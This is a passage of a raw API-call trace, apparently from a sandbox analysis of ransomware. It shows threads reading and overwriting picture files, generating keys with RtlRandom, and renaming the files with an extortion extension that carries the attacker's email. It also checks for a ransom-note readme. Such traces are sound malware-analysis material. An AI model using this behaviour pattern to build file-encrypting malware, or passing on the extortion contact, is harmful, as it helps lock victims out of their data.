hFile=0x370, lpBuffer=0x2f88098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10befe34, lpOverlapped=0x0 | out: lpBuffer=0x2f88098*, lpNumberOfBytesWritten=0x10befe34*=0x8, lpOverlapped=0x0) returned 1 [0169.529] WriteFile (in: hFile=0x370, lpBuffer=0x10befe4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10befe34, lpOverlapped=0x0 | out: lpBuffer=0x10befe4c*, lpNumberOfBytesWritten=0x10befe34*=0x4, lpOverlapped=0x0) returned 1 [0169.529] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10befe34, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10befe34*=0x4, lpOverlapped=0x0) returned 1 [0169.529] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10befe34, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10befe34*=0x6c, lpOverlapped=0x0) returned 1 [0169.529] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10befe34, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10befe34*=0x20, lpOverlapped=0x0) returned 1 [0169.529] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10befe34, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10befe34*=0x4, lpOverlapped=0x0) returned 1 [0169.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88098) returned 1 [0169.530] CloseHandle (hObject=0x370) returned 1 [0169.530] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc8) returned 0x2fc3888 [0169.530] wcscpy (in: _Dest=0x2fc3888, _Source="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" [0169.530] wcscat (in: _Dest=0x2fc3888, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.530] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.531] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.531] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3888) returned 1 [0169.531] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa40c0 [0169.531] wcscpy (in: _Dest=0x2fa40c0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.531] wcscat (in: _Dest=0x2fa40c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.531] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.531] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa40c0) returned 1 [0169.531] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f833a8) returned 1 [0169.531] RtlExitUserThread (Status=0x1) Thread: id = 1852 os_tid = 0xb0c [0169.533] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.533] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.533] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10c6fbf0 | out: lpFileSize=0x10c6fbf0*=96259) returned 1 [0169.533] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x177ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.533] ReadFile (in: hFile=0x370, lpBuffer=0x10c6fbc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10c6fbc0, lpOverlapped=0x0 | out: lpBuffer=0x10c6fbc4*, lpNumberOfBytesRead=0x10c6fbc0*=0x4, lpOverlapped=0x0) returned 1 [0169.534] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.534] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.534] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.534] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88570 [0169.534] NtQuerySystemTime (in: CurrentTime=0x10c6fb9c | out: CurrentTime=0x10c6fb9c*=132121213268502025) returned 0x0 [0169.534] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x1c42980c [0169.534] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x4e5ef06f [0169.534] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x33e7988c [0169.534] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x587e27a1 [0169.534] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x8e1d85a6 [0169.534] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x27e132bd [0169.534] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x464fe86b [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x33ff446b [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xa4749672 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xefb20503 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x26837ac4 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xd0f2d3c [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xfffaa0ad [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x1c1c7c0f [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x607cc14c [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x55a024c3 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x2392546b [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xf3a76ac5 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x48c7f34b [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x18268358 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x5010a84f [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x651e8967 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xb014288f [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x3c6cdfc1 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xe17f441f [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xe27259fb [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0xbbd9b653 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x4cff6a5f [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x73471b42 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x5a95b603 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x36514271 [0169.535] RtlRandom (in: Seed=0x10c6fba8 | out: Seed=0x10c6fba8) returned 0x82273c85 [0169.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88098 [0169.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.547] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.547] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x10c6fb74, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10c6fb74*=0x4096, lpOverlapped=0x0) returned 1 [0169.547] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.548] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.548] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.548] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x10c6fb74, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10c6fb74*=0x4096, lpOverlapped=0x0) returned 1 [0169.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.548] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x17803, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.548] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10c6fbac, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10c6fbac*=0x20, lpOverlapped=0x0) returned 1 [0169.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.549] WriteFile (in: hFile=0x370, lpBuffer=0x2f88098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10c6fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f88098*, lpNumberOfBytesWritten=0x10c6fbc0*=0x8, lpOverlapped=0x0) returned 1 [0169.550] WriteFile (in: hFile=0x370, lpBuffer=0x10c6fbd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10c6fbc0, lpOverlapped=0x0 | out: lpBuffer=0x10c6fbd8*, lpNumberOfBytesWritten=0x10c6fbc0*=0x4, lpOverlapped=0x0) returned 1 [0169.550] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10c6fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10c6fbc0*=0x4, lpOverlapped=0x0) returned 1 [0169.550] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10c6fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10c6fbc0*=0x6c, lpOverlapped=0x0) returned 1 [0169.550] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10c6fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10c6fbc0*=0x20, lpOverlapped=0x0) returned 1 [0169.550] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10c6fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10c6fbc0*=0x4, lpOverlapped=0x0) returned 1 [0169.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88098) returned 1 [0169.550] CloseHandle (hObject=0x370) returned 1 [0169.550] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f979f8 [0169.550] wcscpy (in: _Dest=0x2f979f8, _Source="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" [0169.551] wcscat (in: _Dest=0x2f979f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.551] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.551] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.552] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f979f8) returned 1 [0169.552] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.552] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4900 [0169.552] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.552] wcscat (in: _Dest=0x2fa4900, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.552] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.552] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0169.552] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3360) returned 1 [0169.552] RtlExitUserThread (Status=0x1) Thread: id = 1853 os_tid = 0xc74 [0169.554] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.554] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.554] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.554] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10cefdbc | out: lpFileSize=0x10cefdbc*=11542) returned 1 [0169.554] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x2d12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.554] ReadFile (in: hFile=0x370, lpBuffer=0x10cefd90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10cefd8c, lpOverlapped=0x0 | out: lpBuffer=0x10cefd90*, lpNumberOfBytesRead=0x10cefd8c*=0x4, lpOverlapped=0x0) returned 1 [0169.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88098 [0169.556] NtQuerySystemTime (in: CurrentTime=0x10cefd68 | out: CurrentTime=0x10cefd68*=132121213268658219) returned 0x0 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x95cbdb60 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xbcf491 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xd33671b2 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xc975b991 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xaac5142f [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xdf98b142 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x32363d05 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xfdbe70ee [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xd62be74b [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xb0e2d7cb [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xda91ce4a [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x5be3a0de [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x9bb55e59 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xa8537042 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x174d3759 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x81a8ac92 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x527888f6 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x1c86ee65 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xf7f92656 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x9565023e [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xf0c5a47e [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x8320a743 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xcb3c430a [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x67781ac6 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x9358b6d7 [0169.556] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xd803a13a [0169.557] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x9508d0f8 [0169.557] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x4ad19a1d [0169.557] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x66267847 [0169.557] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x9680429b [0169.557] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0xbbac3302 [0169.557] RtlRandom (in: Seed=0x10cefd74 | out: Seed=0x10cefd74) returned 0x9e5d382e [0169.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880c0 [0169.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.568] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x2d16, lpNumberOfBytesRead=0x10cefd68, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10cefd68*=0x2d16, lpOverlapped=0x0) returned 1 [0169.569] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x10cefd30 | out: lpNewFilePointer=0x0) returned 1 [0169.569] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x2d16, lpNumberOfBytesWritten=0x10cefd64, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10cefd64*=0x2d16, lpOverlapped=0x0) returned 1 [0169.569] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.569] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.569] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10cefd60, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10cefd60*=0x20, lpOverlapped=0x0) returned 1 [0169.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.570] WriteFile (in: hFile=0x370, lpBuffer=0x2f880c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10cefd8c, lpOverlapped=0x0 | out: lpBuffer=0x2f880c0*, lpNumberOfBytesWritten=0x10cefd8c*=0x8, lpOverlapped=0x0) returned 1 [0169.570] WriteFile (in: hFile=0x370, lpBuffer=0x10cefda4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10cefd8c, lpOverlapped=0x0 | out: lpBuffer=0x10cefda4*, lpNumberOfBytesWritten=0x10cefd8c*=0x4, lpOverlapped=0x0) returned 1 [0169.570] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10cefd8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, 